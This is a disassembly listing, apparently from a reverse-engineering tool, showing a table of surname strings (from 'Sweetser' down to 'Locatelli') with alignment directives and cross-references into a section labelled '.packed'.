aSweetser db 'Sweetser',0 ; DATA XREF: .packed:0042FC8Co
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .packed:0042FC88o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .packed:0042FC84o
align 10h
aSuo db 'Suo',0 ; DATA XREF: .packed:0042FC80o
aSumner db 'Sumner',0 ; DATA XREF: .packed:0042FC7Co
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .packed:0042FC78o
align 4
aStringer db 'Stringer',0 ; DATA XREF: .packed:0042FC74o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: .packed:0042FC70o
aStrauch db 'Strauch',0 ; DATA XREF: .packed:0042FC6Co
aStrange db 'Strange',0 ; DATA XREF: .packed:0042FC68o
aStott db 'Stott',0 ; DATA XREF: .packed:0042FC64o
align 4
aStorer db 'Storer',0 ; DATA XREF: .packed:0042FC60o
align 4
aStonich db 'Stonich',0 ; DATA XREF: .packed:0042FC5Co
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .packed:0042FC58o
aStockwell db 'Stockwell',0 ; DATA XREF: .packed:0042FC54o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .packed:0042FC50o
align 4
aStock db 'Stock',0 ; DATA XREF: .packed:0042FC4Co
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: .packed:0042FC48o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .packed:0042FC44o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .packed:0042FC40o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .packed:0042FC3Co
aStephanian db 'Stephanian',0 ; DATA XREF: .packed:0042FC38o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: .packed:0042FC34o
aStefani db 'Stefani',0 ; DATA XREF: .packed:0042FC30o
aStatlender db 'Statlender',0 ; DATA XREF: .packed:0042FC2Co
align 4
aStates db 'States',0 ; DATA XREF: .packed:0042FC28o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .packed:0042FC24o
align 4
aStang db 'Stang',0 ; DATA XREF: .packed:0042FC20o
align 4
aStam db 'Stam',0 ; DATA XREF: .packed:0042FC1Co
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .packed:0042FC18o
aStmartin db 'StMartin',0 ; DATA XREF: .packed:0042FC14o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .packed:0042FC10o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .packed:0042FC0Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .packed:0042FC08o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .packed:0042FC04o
align 4
aSperber db 'Sperber',0 ; DATA XREF: .packed:0042FC00o
aSpence db 'Spence',0 ; DATA XREF: .packed:0042FBFCo
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .packed:0042FBF8o
aSpaulding db 'Spaulding',0 ; DATA XREF: .packed:0042FBF4o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .packed:0042FBF0o
aSpanier db 'Spanier',0 ; DATA XREF: .packed:0042FBECo
aSoultanian db 'Soultanian',0 ; DATA XREF: .packed:0042FBE8o
align 4
aSoule db 'Soule',0 ; DATA XREF: .packed:0042FBE4o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .packed:0042FBE0o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .packed:0042FBDCo
align 4
aSorg db 'Sorg',0 ; DATA XREF: .packed:0042FBD8o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .packed:0042FBD4o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: .packed:0042FBD0o
align 4
aSomers db 'Somers',0 ; DATA XREF: .packed:0042FBCCo
align 4
aSolon db 'Solon',0 ; DATA XREF: .packed:0042FBC8o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .packed:0042FBC4o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .packed:0042FBC0o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: .packed:0042FBBCo
aSmilow db 'Smilow',0 ; DATA XREF: .packed:0042FBB8o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: .packed:0042FBB4o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .packed:0042FBB0o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: .packed:0042FBACo
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .packed:0042FBA8o
align 10h
aSkane db 'Skane',0 ; DATA XREF: .packed:0042FBA4o
align 4
aSites db 'Sites',0 ; DATA XREF: .packed:0042FBA0o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: .packed:0042FB9Co
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .packed:0042FB98o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .packed:0042FB94o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: .packed:0042FB90o
align 4
aSigna db 'Signa',0 ; DATA XREF: .packed:0042FB8Co
align 4
aSigini db 'Sigini',0 ; DATA XREF: .packed:0042FB88o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .packed:0042FB84o
aSiesto db 'Siesto',0 ; DATA XREF: .packed:0042FB80o
align 4
aShimon db 'Shimon',0 ; DATA XREF: .packed:0042FB7Co
align 4
aShibata db 'Shibata',0 ; DATA XREF: .packed:0042FB78o
aShia db 'Shia',0 ; DATA XREF: .packed:0042FB74o
align 4
aShesko db 'Shesko',0 ; DATA XREF: .packed:0042FB70o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .packed:0042FB6Co
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .packed:0042FB68o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .packed:0042FB64o
align 10h
aSheats db 'Sheats',0 ; DATA XREF: .packed:0042FB60o
align 4
aShea db 'Shea',0 ; DATA XREF: .packed:0042FB5Co
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: .packed:0042FB58o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .packed:0042FB54o
aShar db 'Shar',0 ; DATA XREF: .packed:0042FB50o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .packed:0042FB4Co
aShankland db 'Shankland',0 ; DATA XREF: .packed:0042FB48o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: .packed:0042FB44o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .packed:0042FB40o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: .packed:0042FB3Co
aSexton db 'Sexton',0 ; DATA XREF: .packed:0042FB38o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .packed:0042FB34o
align 4
aSennett db 'Sennett',0 ; DATA XREF: .packed:0042FB30o
aSen db 'Sen',0 ; DATA XREF: .packed:0042FB2Co
aSelvage db 'Selvage',0 ; DATA XREF: .packed:0042FB28o
aSekler db 'Sekler',0 ; DATA XREF: .packed:0042FB24o
align 4
aSegal db 'Segal',0 ; DATA XREF: .packed:0042FB20o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: .packed:0042FB1Co
align 4
aSeaton db 'Seaton',0 ; DATA XREF: .packed:0042FB18o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: .packed:0042FB14o
aScovel db 'Scovel',0 ; DATA XREF: .packed:0042FB10o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .packed:0042FB0Co
aSchwan db 'Schwan',0 ; DATA XREF: .packed:0042FB08o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: .packed:0042FB04o
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: .packed:0042FB00o
aSchuman db 'Schuman',0 ; DATA XREF: .packed:0042FAFCo
aSchossberger db 'Schossberger',0 ; DATA XREF: .packed:0042FAF8o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: .packed:0042FAF4o
aSchilling db 'Schilling',0 ; DATA XREF: .packed:0042FAF0o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: .packed:0042FAECo
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: .packed:0042FAE8o
aScheiner db 'Scheiner',0 ; DATA XREF: .packed:0042FAE4o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .packed:0042FAE0o
aScharf db 'Scharf',0 ; DATA XREF: .packed:0042FADCo
align 4
aScepan db 'Scepan',0 ; DATA XREF: .packed:0042FAD8o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: .packed:0042FAD4o
align 4
aSayied db 'Sayied',0 ; DATA XREF: .packed:0042FAD0o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .packed:0042FACCo
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .packed:0042FAC8o
align 4
aSatta db 'Satta',0 ; DATA XREF: .packed:0042FAC4o
align 4
aSatin db 'Satin',0 ; DATA XREF: .packed:0042FAC0o
align 4
aSase db 'Sase',0 ; DATA XREF: .packed:0042FABCo
align 4
aSartore db 'Sartore',0 ; DATA XREF: .packed:0042FAB8o
aSarin db 'Sarin',0 ; DATA XREF: .packed:0042FAB4o
align 4
aSapers db 'Sapers',0 ; DATA XREF: .packed:0042FAB0o
align 4
aSanna db 'Sanna',0 ; DATA XREF: .packed:0042FAACo
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .packed:0042FAA8o
aSamson db 'Samson',0 ; DATA XREF: .packed:0042FAA4o
align 4
aSali db 'Sali',0 ; DATA XREF: .packed:0042FAA0o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .packed:0042FA9Co
align 4
aSafire db 'Safire',0 ; DATA XREF: .packed:0042FA98o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .packed:0042FA94o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .packed:0042FA90o
align 4
aRyu db 'Ryu',0 ; DATA XREF: .packed:0042FA8Co
aRush db 'Rush',0 ; DATA XREF: .packed:0042FA88o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .packed:0042FA84o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: .packed:0042FA80o
align 4
aRuan db 'Ruan',0 ; DATA XREF: .packed:0042FA7Co
align 4
aRu db 'Ru',0 ; DATA XREF: .packed:0042FA78o
align 4
aRoyal db 'Royal',0 ; DATA XREF: .packed:0042FA74o
align 10h
aRow db 'Row',0 ; DATA XREF: .packed:0042FA70o
aRonen db 'Ronen',0 ; DATA XREF: .packed:0042FA6Co
align 4
aRogers db 'Rogers',0 ; DATA XREF: .packed:0042FA68o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .packed:0042FA64o
aRocha db 'Rocha',0 ; DATA XREF: .packed:0042FA60o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .packed:0042FA5Co
align 10h
aRivera db 'Rivera',0 ; DATA XREF: .packed:0042FA58o
align 4
aRish db 'Rish',0 ; DATA XREF: .packed:0042FA54o
align 10h
aRineer db 'Rineer',0 ; DATA XREF: .packed:0042FA50o
align 4
aRindos db 'Rindos',0 ; DATA XREF: .packed:0042FA4Co
align 10h
aRielly db 'Rielly',0 ; DATA XREF: .packed:0042FA48o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .packed:0042FA44o
align 4
aRhea db 'Rhea',0 ; DATA XREF: .packed:0042FA40o
align 4
aResnik db 'Resnik',0 ; DATA XREF: .packed:0042FA3Co
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .packed:0042FA38o
aRenick db 'Renick',0 ; DATA XREF: .packed:0042FA34o
align 4
aRemak db 'Remak',0 ; DATA XREF: .packed:0042FA30o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .packed:0042FA2Co
aCunningham db 'Cunningham',0 ; DATA XREF: .packed:0042FA28o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: .packed:0042FA24o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .packed:0042FA20o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .packed:0042FA1Co
aRapple db 'Rapple',0 ; DATA XREF: .packed:0042FA18o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .packed:0042FA14o
align 4
aRangan db 'Rangan',0 ; DATA XREF: .packed:0042FA10o
align 4
aRaney db 'Raney',0 ; DATA XREF: .packed:0042FA0Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .packed:0042FA08o
aRadeke db 'Radeke',0 ; DATA XREF: .packed:0042FA04o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .packed:0042FA00o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: .packed:0042F9FCo
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .packed:0042F9F8o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: .packed:0042F9F4o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .packed:0042F9F0o
aPugh db 'Pugh',0 ; DATA XREF: .packed:0042F9ECo
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .packed:0042F9E8o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .packed:0042F9E4o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: .packed:0042F9E0o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .packed:0042F9DCo
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: .packed:0042F9D8o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: .packed:0042F9D4o
aPreucel db 'Preucel',0 ; DATA XREF: .packed:0042F9D0o
aPresper db 'Presper',0 ; DATA XREF: .packed:0042F9CCo
aPowers db 'Powers',0 ; DATA XREF: .packed:0042F9C8o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: .packed:0042F9C4o
aPoma db 'Poma',0 ; DATA XREF: .packed:0042F9C0o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: .packed:0042F9BCo
aPolanyi db 'Polanyi',0 ; DATA XREF: .packed:0042F9B8o
aPolak db 'Polak',0 ; DATA XREF: .packed:0042F9B4o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .packed:0042F9B0o
aPointer db 'Pointer',0 ; DATA XREF: .packed:0042F9ACo
aPoincaire db 'Poincaire',0 ; DATA XREF: .packed:0042F9A8o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .packed:0042F9A4o
align 10h
aPo db 'Po',0 ; DATA XREF: .packed:0042F9A0o
align 4
aPlous db 'Plous',0 ; DATA XREF: .packed:0042F99Co
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .packed:0042F998o
aPlant db 'Plant',0 ; DATA XREF: .packed:0042F994o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .packed:0042F990o
aPinot db 'Pinot',0 ; DATA XREF: .packed:0042F98Co
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .packed:0042F988o
aPfister db 'Pfister',0 ; DATA XREF: .packed:0042F984o
aPettit db 'Pettit',0 ; DATA XREF: .packed:0042F980o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .packed:0042F97Co
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: .packed:0042F978o
align 4
aPeters db 'Peters',0 ; DATA XREF: .packed:0042F974o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .packed:0042F970o
align 10h
aPerone db 'Perone',0 ; DATA XREF: .packed:0042F96Co
align 4
aPerna db 'Perna',0 ; DATA XREF: .packed:0042F968o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: .packed:0042F964o
aPerlak db 'Perlak',0 ; DATA XREF: .packed:0042F960o
align 10h
aPerko db 'Perko',0 ; DATA XREF: .packed:0042F95Co
align 4
aPereira db 'Pereira',0 ; DATA XREF: .packed:0042F958o
aPenny db 'Penny',0 ; DATA XREF: .packed:0042F954o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .packed:0042F950o
aPederson db 'Pederson',0 ; DATA XREF: .packed:0042F94Co
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .packed:0042F948o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .packed:0042F944o
aPaynter db 'Paynter',0 ; DATA XREF: .packed:0042F940o
aPawloski db 'Pawloski',0 ; DATA XREF: .packed:0042F93Co
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: .packed:0042F938o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .packed:0042F934o
aPattullo db 'Pattullo',0 ; DATA XREF: .packed:0042F930o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: .packed:0042F92Co
aPatefield db 'Patefield',0 ; DATA XREF: .packed:0042F928o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .packed:0042F924o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: .packed:0042F920o
align 4
aParris db 'Parris',0 ; DATA XREF: .packed:0042F91Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .packed:0042F918o
aPaoletti db 'Paoletti',0 ; DATA XREF: .packed:0042F914o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .packed:0042F910o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .packed:0042F90Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .packed:0042F908o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .packed:0042F904o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .packed:0042F900o
aPalepu db 'Palepu',0 ; DATA XREF: .packed:0042F8FCo
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .packed:0042F8F8o
align 4
aPaine db 'Paine',0 ; DATA XREF: .packed:0042F8F4o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .packed:0042F8F0o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: .packed:0042F8ECo
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .packed:0042F8E8o
aOtten db 'Otten',0 ; DATA XREF: .packed:0042F8E4o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .packed:0042F8E0o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .packed:0042F8DCo
align 10h
aOspina db 'Ospina',0 ; DATA XREF: .packed:0042F8D8o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .packed:0042F8D4o
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: .packed:0042F8D0o
aOray db 'Oray',0 ; DATA XREF: .packed:0042F8CCo
align 10h
aOpel db 'Opel',0 ; DATA XREF: .packed:0042F8C8o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .packed:0042F8C4o
aOman db 'Oman',0 ; DATA XREF: .packed:0042F8C0o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .packed:0042F8BCo
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .packed:0042F8B8o
align 10h
aOlson db 'Olson',0 ; DATA XREF: .packed:0042F8B4o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .packed:0042F8B0o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: .packed:0042F8ACo
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .packed:0042F8A8o
aOh db 'Oh',0 ; DATA XREF: .packed:0042F8A4o
align 4
aOgata db 'Ogata',0 ; DATA XREF: .packed:0042F8A0o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .packed:0042F89Co
aNuzum db 'Nuzum',0 ; DATA XREF: .packed:0042F898o
align 4
aNotman db 'Notman',0 ; DATA XREF: .packed:0042F894o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .packed:0042F890o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: .packed:0042F88Co
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .packed:0042F888o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .packed:0042F884o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .packed:0042F880o
align 4
aNg db 'Ng',0 ; DATA XREF: .packed:0042F87Co
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .packed:0042F878o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .packed:0042F874o
aNeuman db 'Neuman',0 ; DATA XREF: .packed:0042F870o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .packed:0042F86Co
align 4
aNenna db 'Nenna',0 ; DATA XREF: .packed:0042F868o
align 4
aNelson db 'Nelson',0 ; DATA XREF: .packed:0042F864o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .packed:0042F860o
aNaviaux db 'Naviaux',0 ; DATA XREF: .packed:0042F85Co
aNardone db 'Nardone',0 ; DATA XREF: .packed:0042F858o
aNardi db 'Nardi',0 ; DATA XREF: .packed:0042F854o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .packed:0042F850o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .packed:0042F84Co
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: .packed:0042F848o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .packed:0042F844o
aMulroy db 'Mulroy',0 ; DATA XREF: .packed:0042F840o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .packed:0042F83Co
aMugnai db 'Mugnai',0 ; DATA XREF: .packed:0042F838o
align 4
aMuello db 'Muello',0 ; DATA XREF: .packed:0042F834o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: .packed:0042F830o
aMotooka db 'Motooka',0 ; DATA XREF: .packed:0042F82Co
aMostafavi db 'Mostafavi',0 ; DATA XREF: .packed:0042F828o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: .packed:0042F824o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .packed:0042F820o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: .packed:0042F81Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .packed:0042F818o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: .packed:0042F814o
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: .packed:0042F810o
aMorani db 'Morani',0 ; DATA XREF: .packed:0042F80Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .packed:0042F808o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .packed:0042F804o
align 4
aMonque db 'Monque',0 ; DATA XREF: .packed:0042F800o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .packed:0042F7FCo
align 4
aMohr db 'Mohr',0 ; DATA XREF: .packed:0042F7F8o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .packed:0042F7F4o
aModestino db 'Modestino',0 ; DATA XREF: .packed:0042F7F0o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .packed:0042F7ECo
aMittal db 'Mittal',0 ; DATA XREF: .packed:0042F7E8o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .packed:0042F7E4o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .packed:0042F7E0o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: .packed:0042F7DCo
aMini db 'Mini',0 ; DATA XREF: .packed:0042F7D8o
align 4
aMinh db 'Minh',0 ; DATA XREF: .packed:0042F7D4o
align 4
aMills db 'Mills',0 ; DATA XREF: .packed:0042F7D0o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .packed:0042F7CCo
align 4
aMiddle db 'Middle',0 ; DATA XREF: .packed:0042F7C8o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .packed:0042F7C4o
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: .packed:0042F7C0o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: .packed:0042F7BCo
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .packed:0042F7B8o
aMerz db 'Merz',0 ; DATA XREF: .packed:0042F7B4o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .packed:0042F7B0o
aMerminod db 'Merminod',0 ; DATA XREF: .packed:0042F7ACo
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .packed:0042F7A8o
aMerikoski db 'Merikoski',0 ; DATA XREF: .packed:0042F7A4o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .packed:0042F7A0o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .packed:0042F79Co
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: .packed:0042F798o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .packed:0042F794o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .packed:0042F790o
aMclaren db 'Mclaren',0 ; DATA XREF: .packed:0042F78Co
aMclane db 'Mclane',0 ; DATA XREF: .packed:0042F788o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .packed:0042F784o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .packed:0042F780o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: .packed:0042F77Co
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .packed:0042F778o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .packed:0042F774o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .packed:0042F770o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .packed:0042F76Co
aMcdowell db 'Mcdowell',0 ; DATA XREF: .packed:0042F768o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .packed:0042F764o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .packed:0042F760o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: .packed:0042F75Co
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .packed:0042F758o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .packed:0042F754o
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: .packed:0042F750o
aMay db 'May',0 ; DATA XREF: .packed:0042F74Co
aMauzy db 'Mauzy',0 ; DATA XREF: .packed:0042F748o
align 4
aMattson db 'Mattson',0 ; DATA XREF: .packed:0042F744o
aMatsukata db 'Matsukata',0 ; DATA XREF: .packed:0042F740o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .packed:0042F73Co
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .packed:0042F738o
aMass db 'Mass',0 ; DATA XREF: .packed:0042F734o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .packed:0042F730o
align 10h
aMarton db 'Marton',0 ; DATA XREF: .packed:0042F72Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .packed:0042F728o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: .packed:0042F724o
align 10h
aMarques db 'Marques',0 ; DATA XREF: .packed:0042F720o
aMargetts db 'Margetts',0 ; DATA XREF: .packed:0042F71Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .packed:0042F718o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: .packed:0042F714o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .packed:0042F710o
align 4
aMarch db 'March',0 ; DATA XREF: .packed:0042F70Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .packed:0042F708o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .packed:0042F704o
aMandel db 'Mandel',0 ; DATA XREF: .packed:0042F700o
align 4
aManalis db 'Manalis',0 ; DATA XREF: .packed:0042F6FCo
aMalova db 'Malova',0 ; DATA XREF: .packed:0042F6F8o
align 4
aMaller db 'Maller',0 ; DATA XREF: .packed:0042F6F4o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: .packed:0042F6F0o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: .packed:0042F6ECo
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .packed:0042F6E8o
align 4
aMaier db 'Maier',0 ; DATA XREF: .packed:0042F6E4o
align 10h
aMahony db 'Mahony',0 ; DATA XREF: .packed:0042F6E0o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: .packed:0042F6DCo
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: .packed:0042F6D8o
aMacy db 'Macy',0 ; DATA XREF: .packed:0042F6D4o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: .packed:0042F6D0o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .packed:0042F6CCo
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .packed:0042F6C8o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .packed:0042F6C4o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: .packed:0042F6C0o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .packed:0042F6BCo
align 4
aMa db 'Ma',0 ; DATA XREF: .packed:0042F6B8o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .packed:0042F6B4o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .packed:0042F6B0o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: .packed:0042F6ACo
aLuoma db 'Luoma',0 ; DATA XREF: .packed:0042F6A8o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: .packed:0042F6A4o
aLuecke db 'Luecke',0 ; DATA XREF: .packed:0042F6A0o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: .packed:0042F69Co
aLuciano db 'Luciano',0 ; DATA XREF: .packed:0042F698o
aLucas db 'Lucas',0 ; DATA XREF: .packed:0042F694o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .packed:0042F690o
align 10h
aLoza db 'Loza',0 ; DATA XREF: .packed:0042F68Co
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .packed:0042F688o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .packed:0042F684o
aLoss db 'Loss',0 ; DATA XREF: .packed:0042F680o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .packed:0042F67Co
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: .packed:0042F678o
align 4
